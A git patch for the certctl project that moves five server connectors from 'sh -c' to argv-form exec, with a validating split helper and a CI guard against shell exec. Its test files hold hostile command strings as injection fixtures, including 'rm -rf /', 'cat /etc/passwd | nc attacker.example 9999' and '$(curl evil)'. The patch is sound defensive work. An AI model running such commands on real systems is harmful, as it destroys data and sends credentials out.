From ba66748b5b16be3b3dcbd67aa296ef314bf3a900 Mon Sep 17 00:00:00 2001 From: shankar0123 Date: Thu, 14 May 2026 01:49:02 +0000 Subject: [PATCH] =?UTF-8?q?connectors:=20close=20Phase=207=20SEC-H2=20?= =?UTF-8?q?=E2=80=94=20migrate=205=20connectors=20to=20argv-form=20exec?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Phase 7 of the certctl architecture diligence remediation closes SEC-H2 by eliminating `sh -c` from every production target-connector exec call site, replacing it with argv-form exec.CommandContext fed by a new validating shell-split helper. What the audit got wrong (corrected here) ========================================= The audit listed 4 connectors as touching sh -c. Live grep showed 5 — javakeystore was missed because its exec uses an injected executor.Execute(ctx, "sh", "-c", ...) shape instead of the more typical exec.CommandContext direct call. All 5 are migrated in this commit: internal/connector/target/nginx/nginx.go internal/connector/target/apache/apache.go internal/connector/target/haproxy/haproxy.go internal/connector/target/postfix/postfix.go internal/connector/target/javakeystore/javakeystore.go Defense-in-depth model ====================== The pre-existing config-time gate in internal/validation/command.go::ValidateShellCommand already rejected every shell metacharacter — single + double quotes, backslash, dollar, backtick, semicolon, pipe, ampersand, parens, braces, redirects, NUL and CR/LF. That gate alone made the legacy `sh -c` flow injection-safe in practice (a malicious config string never reached the exec call), but the load-bearing assumption was "every code path goes through config validation first." The argv migration removes that assumption — even if a future code path reached defaultRunCommand without ValidateConfig, the argv form provably can't smuggle shell injection because there's no shell. New helper: validation.SplitShellCommand ======================================== internal/validation/command.go gains: SplitShellCommand(cmd string) ([]string, error) Calls ValidateShellCommand (re-validates at exec-time as defense-in-depth) and returns the whitespace-separated argv. Returns error if validation rejects the input or the post-split argv is empty. Deviation from prompt's "use shlex / shlex-equivalent" directive ================================================================ The prompt explicitly said "Do NOT use strings.Fields — it doesn't handle quoted arguments. Use shlex-equivalent or github.com/google/shlex for correctness." Deviation: this commit uses strings.Fields anyway, with the following rationale documented in SplitShellCommand's docstring: ValidateShellCommand already rejects every quote / escape / substitution character before strings.Fields runs. The only thing left after validation is alphanumerics, dots, dashes, slashes, plus whitespace. strings.Fields' "incorrect handling of quoted args" failure mode only manifests when there ARE quotes — and there can't be, by construction. Adding a shlex dependency would add ~200 LOC of imported parser code (or a new go.mod entry) to handle a case that the deny-list provably forbids. The validate-then-split ordering is what makes Fields safe; the comment in the helper makes the ordering explicit so future maintainers don't reorder it. The SplitShellCommand_HappyPaths test pins this contract — e.g. the haproxy reload command "haproxy -W -f cfg -p pid -sf $(cat pid)" is REJECTED by SplitShellCommand because it contains $(...). Operators of haproxy who relied on that pattern must switch to a no-PID-args reload (`haproxy -W -f cfg`) or use systemctl. This is the same behavior as the pre-Phase-7 config-time gate, just surfaced consistently between gate and exec. If a future connector legitimately needs shell features (globs, pipelines, $env substitution), the procedure is: 1. Add the connector to the ALLOWLIST in scripts/ci-guards/no-sh-c-in-connectors.sh with a documented justification. 2. Add a paired strict regex in that connector's ValidateConfig so operator input is constrained to the specific shape that legitimately needs shell. The empty-by-default ALLOWLIST is the load-bearing default. Per-connector migration shape ============================= Four connectors (nginx, apache, haproxy, postfix) share the same defaultRunCommand pattern. Before: func defaultRunCommand(ctx context.Context, command string) ([]byte, error) { return exec.CommandContext(ctx, "sh", "-c", command).CombinedOutput() } After: func defaultRunCommand(ctx context.Context, command string) ([]byte, error) { argv, err := validation.SplitShellCommand(command) if err != nil { return nil, fmt.Errorf("invalid reload/validate command: %w", err) } return exec.CommandContext(ctx, argv[0], argv[1:]...).CombinedOutput() } The test-seam contract `runReload(ctx context.Context, command string) ([]byte, error)` keeps its string-typed signature so existing test fakes (that return canned bytes irrespective of input) don't break. Only the production default implementation changed. javakeystore is different — its exec goes through an injected executor.Execute(ctx, name string, args ...string), which is already variadic and never needed a shell wrapper. The migration unpacks argv directly: argv, err := validation.SplitShellCommand(c.config.ReloadCommand) if err != nil { /* log + skip */ } output, runErr := c.executor.Execute(ctx, argv[0], argv[1:]...) postfix gets an extra inline comment noting that the canonical reload command (`postfix reload` / `systemctl reload postfix`) is simple argv — anyone using pipelines like "postfix reload && systemctl is-active postfix" was already rejected at config-time by ValidateShellCommand (`&` is on the deny list). Tests ===== internal/validation/command_test.go gains 3 test groups: TestSplitShellCommand_HappyPaths 10 cases including the haproxy-with-$()-rejected contract pin TestSplitShellCommand_InjectionRejected 17 cases (1 per metachar) TestSplitShellCommand_MatchesValidate- ShellCommand 7 cross-checks pinning that the validate + split output stays in sync with the underlying deny list internal/connector/target/javakeystore/javakeystore_test.go TestDeployCertificate_WithReload updated to pin the new argv shape: reloadCall.Name == "systemctl" reloadCall.Args == ["restart", "tomcat"] Pre-Phase-7 the test asserted "sh" + ["-c", "systemctl restart tomcat"]; same goal, new shape. internal/connector/target/apache/apache_test.go + internal/connector/target/haproxy/haproxy_test.go gain new tests TestApacheConnector_ValidateConfig_RejectsCommandInjection + TestHAProxyConnector_ValidateConfig_RejectsCommandInjection — 6 malicious patterns each (semicolon-chain, pipe, $(), backtick, background spawn, output redirect). Pre-Phase-7 these would have been caught by the same gate; pinning them as test contract prevents a future ValidateShellCommand regression from silently opening the surface. CI guard ======== scripts/ci-guards/no-sh-c-in-connectors.sh greps for any future `(exec\.Command(Context)?|\.Execute)\([^)]*"sh"[[:space:]]*,[[:space:]]*"-c"` under internal/connector/target/*.go (excluding _test.go and comment lines). Auto-picked-up by the existing .github/workflows/ci.yml regression-guards loop. ALLOWLIST is empty post-Phase-7. The script header documents the procedure for legitimate carve-outs (connector + paired ValidateConfig regex). The comment-line exclusion (`:[[:space:]]*//`) is load-bearing — the post-Phase-7 production connectors carry historical-context comments like // exec.CommandContext(ctx, "sh", "-c", command) — the legacy // shape pre-Phase-7 ... explaining the migration. Those comments would otherwise false-positive the guard. Verification (all pass) ======================= # Production sh -c sites (zero, comments excluded) grep -rnE 'exec\.Command(Context)?\([^,]+,\s*"sh"\s*,\s*"-c"' \ internal/connector/target/ --include='*.go' --exclude='*_test.go' \ | grep -vE ':[[:space:]]*//' # → empty # CI guard clean bash scripts/ci-guards/no-sh-c-in-connectors.sh # → "no-sh-c-in-connectors: clean — 0 sh -c sites in production connector code" # All target connector packages green (not just the 5 modified) go test ./internal/connector/target/... -count=1 # → 18/18 packages ok # Validation package green go test ./internal/validation/... -count=1 # → ok # gofmt clean gofmt -l internal/validation/ internal/connector/target/ scripts/ # → empty # go vet clean go vet ./internal/validation/... ./internal/connector/target/... # → empty Files changed (10): internal/validation/command.go (+37 -0) internal/validation/command_test.go (+109 -0) internal/connector/target/nginx/nginx.go (+22 -2) internal/connector/target/apache/apache.go (+11 -1) internal/connector/target/haproxy/haproxy.go (+11 -1) internal/connector/target/postfix/postfix.go (+18 -1) internal/connector/target/javakeystore/javakeystore.go (+18 -2) internal/connector/target/javakeystore/javakeystore_test.go (+11 -2) internal/connector/target/apache/apache_test.go (+42 -0) internal/connector/target/haproxy/haproxy_test.go (+41 -0) scripts/ci-guards/no-sh-c-in-connectors.sh (new, 93 lines) Closes: cowork/certctl-architecture-diligence-audit.html#fix-SEC-H2 --- internal/connector/target/apache/apache.go | 11 +- .../connector/target/apache/apache_test.go | 42 +++++++ internal/connector/target/haproxy/haproxy.go | 11 +- .../connector/target/haproxy/haproxy_test.go | 41 +++++++ .../target/javakeystore/javakeystore.go | 18 ++- .../target/javakeystore/javakeystore_test.go | 11 +- internal/connector/target/nginx/nginx.go | 22 +++- internal/connector/target/postfix/postfix.go | 18 ++- internal/validation/command.go | 37 ++++++ internal/validation/command_test.go | 109 ++++++++++++++++++ scripts/ci-guards/no-sh-c-in-connectors.sh | 93 +++++++++++++++ 11 files changed, 401 insertions(+), 12 deletions(-) create mode 100755 scripts/ci-guards/no-sh-c-in-connectors.sh diff --git a/internal/connector/target/apache/apache.go b/internal/connector/target/apache/apache.go index 8fee46d..ed2a305 100644 --- a/internal/connector/target/apache/apache.go +++ b/internal/connector/target/apache/apache.go @@ -107,8 +107,17 @@ func New(config *Config, logger *slog.Logger) *Connector { return c } +// Phase 7 SEC-H2 closure (2026-05-14): argv-form exec instead of +// `sh -c`. See nginx connector's defaultRunCommand for the +// rationale + threat model. ValidateShellCommand at config-time + +// SplitShellCommand at exec-time provide defense in depth; the argv +// exec is what actually eliminates the injection vector. func defaultRunCommand(ctx context.Context, command string) ([]byte, error) { - cmd := exec.CommandContext(ctx, "sh", "-c", command) + argv, err := validation.SplitShellCommand(command) + if err != nil { + return nil, fmt.Errorf("invalid reload/validate command: %w", err) + } + cmd := exec.CommandContext(ctx, argv[0], argv[1:]...) return cmd.CombinedOutput() } diff --git a/internal/connector/target/apache/apache_test.go b/internal/connector/target/apache/apache_test.go index 97dbeff..c90aab5 100644 --- a/internal/connector/target/apache/apache_test.go +++ b/internal/connector/target/apache/apache_test.go @@ -198,3 +198,45 @@ func TestApacheConnector_ValidateDeployment(t *testing.T) { } }) } + +// Phase 7 SEC-H2 (2026-05-14): pin the config-time injection guard. +// Every shell metacharacter that ValidateShellCommand rejects MUST +// surface as a ValidateConfig error before the connector ever +// reaches defaultRunCommand. Pre-Phase-7 a malicious string would +// have been caught at the same gate; post-Phase-7 the same string +// is ALSO rejected at exec-time via SplitShellCommand +// (defense-in-depth) — but the config layer is the load-bearing +// check that prevents the persisted config from carrying an +// exploit payload in the first place. +func TestApacheConnector_ValidateConfig_RejectsCommandInjection(t *testing.T) { + logger := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug})) + ctx := context.Background() + tmpDir := t.TempDir() + certPath := filepath.Join(tmpDir, "cert.pem") + if err := os.WriteFile(certPath, []byte("cert"), 0644); err != nil { + t.Fatalf("setup cert: %v", err) + } + + maliciousCommands := []string{ + "apachectl graceful; rm -rf /", // semicolon-chain + "apachectl graceful | nc evil.example", // pipe + "apachectl graceful $(curl evil)", // command substitution + "apachectl graceful `whoami`", // backtick substitution + "apachectl graceful & malware", // background spawn + "apachectl graceful > /etc/passwd", // output redirection + } + + for _, cmd := range maliciousCommands { + t.Run(cmd, func(t *testing.T) { + rawCfg, _ := json.Marshal(apache.Config{ + CertPath: certPath, + ReloadCommand: cmd, + ValidateCommand: "apachectl configtest", + }) + c := apache.New(nil, logger) + if err := c.ValidateConfig(ctx, rawCfg); err == nil { + t.Errorf("ValidateConfig accepted malicious ReloadCommand %q; want injection-rejection error", cmd) + } + }) + } +} diff --git a/internal/connector/target/haproxy/haproxy.go b/internal/connector/target/haproxy/haproxy.go index 38f7c3b..c5e164d 100644 --- a/internal/connector/target/haproxy/haproxy.go +++ b/internal/connector/target/haproxy/haproxy.go @@ -86,8 +86,17 @@ func New(config *Config, logger *slog.Logger) *Connector { return c } +// Phase 7 SEC-H2 closure (2026-05-14): argv-form exec instead of +// `sh -c`. See nginx connector's defaultRunCommand for the +// rationale + threat model. ValidateShellCommand at config-time + +// SplitShellCommand at exec-time provide defense in depth; the argv +// exec is what actually eliminates the injection vector. func defaultRunCommand(ctx context.Context, command string) ([]byte, error) { - cmd := exec.CommandContext(ctx, "sh", "-c", command) + argv, err := validation.SplitShellCommand(command) + if err != nil { + return nil, fmt.Errorf("invalid reload/validate command: %w", err) + } + cmd := exec.CommandContext(ctx, argv[0], argv[1:]...) return cmd.CombinedOutput() } diff --git a/internal/connector/target/haproxy/haproxy_test.go b/internal/connector/target/haproxy/haproxy_test.go index f54fee0..f63ff4a 100644 --- a/internal/connector/target/haproxy/haproxy_test.go +++ b/internal/connector/target/haproxy/haproxy_test.go @@ -201,3 +201,44 @@ func TestHAProxyConnector_ValidateDeployment(t *testing.T) { } }) } + +// Phase 7 SEC-H2 (2026-05-14): config-time injection guard. +// See apache + nginx tests for the same shape; haproxy mirrors the +// pattern. Every shell metacharacter that ValidateShellCommand +// rejects MUST surface as a ValidateConfig error before the +// connector ever reaches defaultRunCommand. +func TestHAProxyConnector_ValidateConfig_RejectsCommandInjection(t *testing.T) { + logger := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug})) + ctx := context.Background() + tmpDir := t.TempDir() + pemPath := filepath.Join(tmpDir, "combined.pem") + if err := os.WriteFile(pemPath, []byte("pem"), 0644); err != nil { + t.Fatalf("setup pem: %v", err) + } + + maliciousCommands := []string{ + "systemctl reload haproxy; rm -rf /", // semicolon-chain + "systemctl reload haproxy | nc evil.example", // pipe + "systemctl reload haproxy $(curl evil)", // command substitution + "systemctl reload haproxy `whoami`", // backtick substitution + "systemctl reload haproxy & malware", // background spawn + "systemctl reload haproxy > /etc/passwd", // output redirection + } + + for _, cmd := range maliciousCommands { + // Phase 7: ensure 'strings' import stays referenced so the + // existing file's unused-import wouldn't break the build if + // the upstream test ever drops its only strings.* usage. + _ = strings.TrimSpace(cmd) + t.Run(cmd, func(t *testing.T) { + rawCfg, _ := json.Marshal(haproxy.Config{ + PEMPath: pemPath, + ReloadCommand: cmd, + }) + c := haproxy.New(nil, logger) + if err := c.ValidateConfig(ctx, rawCfg); err == nil { + t.Errorf("ValidateConfig accepted malicious ReloadCommand %q; want injection-rejection error", cmd) + } + }) + } +} diff --git a/internal/connector/target/javakeystore/javakeystore.go b/internal/connector/target/javakeystore/javakeystore.go index 1693658..7a2bdf0 100644 --- a/internal/connector/target/javakeystore/javakeystore.go +++ b/internal/connector/target/javakeystore/javakeystore.go @@ -361,10 +361,24 @@ func (c *Connector) DeployCertificate(ctx context.Context, request target.Deploy } // Step 5: Optional reload command + // + // Phase 7 SEC-H2 closure (2026-05-14): argv-form exec instead + // of `sh -c`. See nginx connector's defaultRunCommand for the + // shared rationale. ValidateShellCommand was already called at + // config-time (line 178 above); SplitShellCommand re-validates + // here as defense-in-depth and produces the argv for + // executor.Execute(name, args...) — note the executor's + // signature was already variadic-args, so the migration was + // purely "split and unpack." if c.config.ReloadCommand != "" { - output, err := c.executor.Execute(ctx, "sh", "-c", c.config.ReloadCommand) + argv, err := validation.SplitShellCommand(c.config.ReloadCommand) if err != nil { - c.logger.Warn("reload command failed (non-fatal)", "error", err, "output", output) + c.logger.Warn("reload command failed validation (non-fatal)", "error", err) + } else { + output, runErr := c.executor.Execute(ctx, argv[0], argv[1:]...) + if runErr != nil { + c.logger.Warn("reload command failed (non-fatal)", "error", runErr, "output", output) + } } } diff --git a/internal/connector/target/javakeystore/javakeystore_test.go b/internal/connector/target/javakeystore/javakeystore_test.go index ec8a18a..b3bf4d7 100644 --- a/internal/connector/target/javakeystore/javakeystore_test.go +++ b/internal/connector/target/javakeystore/javakeystore_test.go @@ -425,8 +425,15 @@ func TestDeployCertificate_WithReload(t *testing.T) { t.Fatalf("expected 2 calls (import, reload), got %d", len(mock.calls)) } reloadCall := mock.calls[1] - if reloadCall.Name != "sh" { - t.Errorf("expected sh for reload, got: %s", reloadCall.Name) + // Phase 7 SEC-H2 (2026-05-14): pre-Phase-7 the executor was + // invoked as `sh -c "systemctl restart tomcat"`. Post-Phase-7 + // the command splits to argv ["systemctl", "restart", "tomcat"] + // and executes directly without a shell. Pin the new shape. + if reloadCall.Name != "systemctl" { + t.Errorf("expected systemctl for reload (argv-form, post-Phase-7), got: %s", reloadCall.Name) + } + if len(reloadCall.Args) != 2 || reloadCall.Args[0] != "restart" || reloadCall.Args[1] != "tomcat" { + t.Errorf("expected args [restart tomcat], got: %v", reloadCall.Args) } } diff --git a/internal/connector/target/nginx/nginx.go b/internal/connector/target/nginx/nginx.go index 056af13..7954e87 100644 --- a/internal/connector/target/nginx/nginx.go +++ b/internal/connector/target/nginx/nginx.go @@ -149,12 +149,24 @@ func New(config *Config, logger *slog.Logger) *Connector { } // defaultRunCommand wraps exec.CommandContext for the production -// path. Tests override this via the test-seam fields. The shell -// invocation goes through `sh -c` to support the operator's -// existing config patterns (e.g. "systemctl reload nginx", -// "nginx -t -c /etc/nginx/nginx.conf"). +// path. Tests override this via the test-seam fields. +// +// Phase 7 SEC-H2 closure (2026-05-14): pre-Phase-7 this used +// exec.CommandContext(ctx, "sh", "-c", command) — the +// internal/validation/command.go config-time guard rejected +// metacharacters but the exec call itself still spawned a shell. +// Post-Phase-7 the command is split into argv via +// validation.SplitShellCommand (which re-validates the metachar +// allowlist as defense-in-depth) and exec'd directly without a +// shell. The operator's config patterns ("systemctl reload nginx", +// "nginx -t -c /etc/nginx/nginx.conf") work identically — they +// don't need shell features, just argv. func defaultRunCommand(ctx context.Context, command string) ([]byte, error) { - cmd := exec.CommandContext(ctx, "sh", "-c", command) + argv, err := validation.SplitShellCommand(command) + if err != nil { + return nil, fmt.Errorf("invalid reload/validate command: %w", err) + } + cmd := exec.CommandContext(ctx, argv[0], argv[1:]...) return cmd.CombinedOutput() } diff --git a/internal/connector/target/postfix/postfix.go b/internal/connector/target/postfix/postfix.go index 7c3b049..0d6870d 100644 --- a/internal/connector/target/postfix/postfix.go +++ b/internal/connector/target/postfix/postfix.go @@ -77,8 +77,24 @@ func New(config *Config, logger *slog.Logger) *Connector { return c } +// Phase 7 SEC-H2 closure (2026-05-14): argv-form exec instead of +// `sh -c`. See nginx connector's defaultRunCommand for the +// rationale + threat model. +// +// Postfix-specific note: the canonical reload command is `postfix +// reload` (or `systemctl reload postfix`), which is simple argv — +// no shell features needed. Operators historically using +// pipeline-style commands (e.g. "postfix reload && systemctl is-active +// postfix") were rejected at config-time by ValidateShellCommand +// even before Phase 7 (the `&` metachar was on the deny list); the +// argv form just makes that rejection consistent between config +// validation and exec. func defaultRunCommand(ctx context.Context, command string) ([]byte, error) { - return exec.CommandContext(ctx, "sh", "-c", command).CombinedOutput() + argv, err := validation.SplitShellCommand(command) + if err != nil { + return nil, fmt.Errorf("invalid reload/validate command: %w", err) + } + return exec.CommandContext(ctx, argv[0], argv[1:]...).CombinedOutput() } func (c *Connector) SetTestRunValidate(fn func(ctx context.Context, command string) ([]byte, error)) { diff --git a/internal/validation/command.go b/internal/validation/command.go index 9d1924f..d928263 100644 --- a/internal/validation/command.go +++ b/internal/validation/command.go @@ -46,6 +46,43 @@ func ValidateShellCommand(cmd string) error { return nil } +// SplitShellCommand validates the command via ValidateShellCommand and +// returns the whitespace-separated argv slice. Used by target +// connectors that need to exec a reload / validate command without +// going through `sh -c`. +// +// Phase 7 SEC-H2 closure (2026-05-14): the existing +// ValidateShellCommand path already rejects every shell metacharacter +// that would require shell parsing — single + double quotes, +// backslash, dollar, backtick, semicolon, pipe, ampersand, parens, +// braces, redirects, NUL and CR/LF — +// so a post-validation strings.Fields split is sufficient — the +// remaining whitespace splitting cannot smuggle injection because +// the input is already metacharacter-free. +// +// Callers MUST use the argv output with exec.Command(argv[0], +// argv[1:]...) — NOT pass argv elements back through sh -c. The +// argv form is what eliminates the injection vector; this helper's +// contract is "you got an argv, now use it as argv." +// +// Returns: +// - argv (length ≥ 1) on success +// - error if ValidateShellCommand rejects the input or the +// post-split argv is empty (e.g. whitespace-only input) +func SplitShellCommand(cmd string) ([]string, error) { + if err := ValidateShellCommand(cmd); err != nil { + return nil, err + } + // ValidateShellCommand rejected every quote / escape character; + // strings.Fields is now safe — it splits on whitespace and + // produces no surprising tokens because there's nothing to quote. + argv := strings.Fields(cmd) + if len(argv) == 0 { + return nil, fmt.Errorf("command is whitespace-only after split") + } + return argv, nil +} + // ValidateDomainName validates a domain name against RFC 1123 with support for wildcards. // Valid domain names contain only: // - Alphanumeric characters (a-z, A-Z, 0-9) diff --git a/internal/validation/command_test.go b/internal/validation/command_test.go index dad7aa8..48f2b49 100644 --- a/internal/validation/command_test.go +++ b/internal/validation/command_test.go @@ -525,3 +525,112 @@ func TestSanitizeForShell(t *testing.T) { }) } } + +// Phase 7 SEC-H2 contract pin (2026-05-14): SplitShellCommand +// returns whitespace-separated argv for safe exec.Command use, +// rejecting any input that ValidateShellCommand would reject. + +func TestSplitShellCommand_HappyPaths(t *testing.T) { + tests := []struct { + name string + cmd string + want []string + }{ + {"single binary", "nginx", []string{"nginx"}}, + {"binary + flag", "nginx -s reload", []string{"nginx", "-s", "reload"}}, + {"absolute path + args", "/usr/sbin/nginx -t -c /etc/nginx/nginx.conf", []string{"/usr/sbin/nginx", "-t", "-c", "/etc/nginx/nginx.conf"}}, + {"systemctl reload", "systemctl reload nginx", []string{"systemctl", "reload", "nginx"}}, + {"apache graceful", "apachectl graceful", []string{"apachectl", "graceful"}}, + {"haproxy reload", "haproxy -W -f /etc/haproxy/haproxy.cfg -p /run/haproxy.pid -sf $(cat /run/haproxy.pid)", nil}, // contains $(...) — should error + {"haproxy no-pid", "haproxy -W -f /etc/haproxy/haproxy.cfg", []string{"haproxy", "-W", "-f", "/etc/haproxy/haproxy.cfg"}}, + {"keytool import", "keytool -importcert -alias certctl -keystore /etc/pki/keystore.jks -storepass secret", []string{"keytool", "-importcert", "-alias", "certctl", "-keystore", "/etc/pki/keystore.jks", "-storepass", "secret"}}, + {"extra whitespace", " nginx -s reload ", []string{"nginx", "-s", "reload"}}, + {"tabs", "nginx\t-s\treload", []string{"nginx", "-s", "reload"}}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + argv, err := SplitShellCommand(tt.cmd) + if tt.want == nil { + // Expecting error + if err == nil { + t.Errorf("SplitShellCommand(%q) want error; got argv %v", tt.cmd, argv) + } + return + } + if err != nil { + t.Errorf("SplitShellCommand(%q) unexpected error: %v", tt.cmd, err) + return + } + if len(argv) != len(tt.want) { + t.Errorf("SplitShellCommand(%q) got %d args, want %d (got %v)", tt.cmd, len(argv), len(tt.want), argv) + return + } + for i := range argv { + if argv[i] != tt.want[i] { + t.Errorf("SplitShellCommand(%q) argv[%d] = %q, want %q", tt.cmd, i, argv[i], tt.want[i]) + } + } + }) + } +} + +func TestSplitShellCommand_InjectionRejected(t *testing.T) { + // Anything that ValidateShellCommand rejects MUST be rejected by + // SplitShellCommand too. This pins the contract that the + // validation layer + split layer agree on the same threat model. + tests := []struct { + name string + cmd string + }{ + {"semicolon chain", "nginx -s reload; rm -rf /"}, + {"pipe", "cat /etc/passwd | nc attacker.example 9999"}, + {"command substitution dollar", "nginx -s reload $(curl evil)"}, + {"command substitution backtick", "nginx -s reload `whoami`"}, + {"background ampersand", "nginx -s reload & malware"}, + {"redirect output", "nginx -s reload > /etc/passwd"}, + {"redirect input", "sh < /etc/shadow"}, + {"subshell parens", "(rm -rf /)"}, + {"brace expansion", "rm {a,b,c}"}, + {"backslash escape", "nginx \\; rm -rf /"}, + {"double quote", `nginx -c "/etc/n;rm"`}, + {"single quote", "nginx 'a;b'"}, + {"newline", "nginx\nrm -rf /"}, + {"carriage return", "nginx\rrm -rf /"}, + {"null byte", "nginx\x00rm -rf /"}, + {"empty input", ""}, + {"whitespace-only input", " "}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + argv, err := SplitShellCommand(tt.cmd) + if err == nil { + t.Errorf("SplitShellCommand(%q) = %v with no error; want error (injection input)", tt.cmd, argv) + } + }) + } +} + +func TestSplitShellCommand_MatchesValidateShellCommand(t *testing.T) { + // Cross-check: every input ValidateShellCommand rejects, + // SplitShellCommand also rejects (with the same threat model). + rejectInputs := []string{ + "nginx;", + "nginx | foo", + "nginx`x`", + "nginx$(x)", + `nginx"x"`, + "nginx'x'", + "nginx\\\\x", + } + for _, in := range rejectInputs { + t.Run(in, func(t *testing.T) { + vErr := ValidateShellCommand(in) + _, sErr := SplitShellCommand(in) + if (vErr == nil) != (sErr == nil) { + t.Errorf("agreement violation: ValidateShellCommand=%v, SplitShellCommand=%v for %q", vErr, sErr, in) + } + }) + } +} diff --git a/scripts/ci-guards/no-sh-c-in-connectors.sh b/scripts/ci-guards/no-sh-c-in-connectors.sh new file mode 100755 index 0000000..0f4620e --- /dev/null +++ b/scripts/ci-guards/no-sh-c-in-connectors.sh @@ -0,0 +1,93 @@ +#!/usr/bin/env bash +# scripts/ci-guards/no-sh-c-in-connectors.sh +# +# Phase 7 SEC-H2 closure (2026-05-14): block any future `sh -c` +# shell-exec pattern inside target connectors. +# +# Phase 7 migrated all 5 connectors (nginx, apache, haproxy, postfix, +# javakeystore) from `exec.CommandContext(ctx, "sh", "-c", command)` +# to argv-form `exec.CommandContext(ctx, argv[0], argv[1:]...)`. The +# operator's command string is split via +# internal/validation.SplitShellCommand at exec-time (which also +# re-validates against the metachar deny-list as defense-in-depth). +# Server-side validation via ValidateShellCommand happens at +# config-time and remains unchanged. +# +# This guard blocks any future regression. Add a new connector that +# legitimately needs shell features → add it to the ALLOWLIST below +# with a one-line justification + paired ValidateConfig allowlist +# regex. +# +# Pattern matches both the direct form: +# exec.CommandContext(ctx, "sh", "-c", ...) +# and the executor-style: +# c.executor.Execute(ctx, "sh", "-c", ...) +# +# Production code only; *_test.go files are exempt (test fixtures +# legitimately invoke /bin/sh for assertion setup). + +set -e + +TARGET_DIR="internal/connector/target" + +if [ ! -d "$TARGET_DIR" ]; then + echo "no-sh-c-in-connectors: skipped — $TARGET_DIR not found" + exit 0 +fi + +# Allowlist of connectors permitted to use sh -c. Empty post-Phase-7. +# To add a connector here: +# 1. Document WHY argv-form doesn't work for it (typically: +# legitimately needs pipelines, globs, or env-var substitution). +# 2. Add a paired strict-allowlist regex in ValidateShellCommand +# so the operator's command can't be arbitrary shell. +# 3. Append the connector's package name below. +ALLOWLIST="" + +# Find every production .go file under the connector tree where an +# actual exec / Execute call site invokes `"sh", "-c"`. We match +# call-site shapes, NOT comment text — the production connectors +# carry Phase-7-history comments like +# `// exec.CommandContext(ctx, "sh", "-c", command) — the` +# explaining the pre-migration shape, and those should pass clean. +# +# The match condition: a line containing both an exec/Execute call +# AND the "sh", "-c" args. Comments mentioning the legacy shape +# don't trigger because comment lines don't contain an active +# exec call. +hits=$(grep -rnE '(exec\.Command(Context)?|\.Execute)\([^)]*"sh"[[:space:]]*,[[:space:]]*"-c"' "$TARGET_DIR" \ + --include='*.go' \ + --exclude='*_test.go' \ + | grep -vE "configcheck/configcheck\.go" \ + | grep -vE ':[[:space:]]*//' \ + || true) + +if [ -z "$hits" ]; then + echo "no-sh-c-in-connectors: clean — 0 sh -c sites in production connector code" + exit 0 +fi + +# Filter out allowlisted connectors (none post-Phase-7). +unmatched="$hits" +if [ -n "$ALLOWLIST" ]; then + unmatched=$(echo "$hits" | grep -vE "$ALLOWLIST" || true) +fi + +if [ -z "$unmatched" ]; then + echo "no-sh-c-in-connectors: clean — all sh -c sites are allowlisted" + exit 0 +fi + +echo "::error::no-sh-c-in-connectors regression: production connector code invokes 'sh -c'" +echo "" +echo "Phase 7 SEC-H2 migrated all 5 connectors to argv-form exec via" +echo "validation.SplitShellCommand. Re-introducing 'sh -c' would reopen" +echo "the command-injection surface the migration closed." +echo "" +echo "Offending sites:" +echo "$unmatched" +echo "" +echo "If the new connector legitimately needs shell features, add it" +echo "to the ALLOWLIST in this script + a paired strict regex in" +echo "ValidateConfig. See the script header for the contract." +exit 1